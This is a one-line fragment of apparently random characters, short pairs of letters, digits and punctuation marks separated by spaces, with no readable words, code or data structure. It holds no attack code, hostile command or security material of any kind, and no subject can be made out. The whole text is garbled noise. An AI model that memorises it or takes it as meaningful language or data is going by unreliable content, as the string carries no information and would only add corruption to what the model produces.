7 `! @# P& m, d9 x; }5 u5 g* `8 q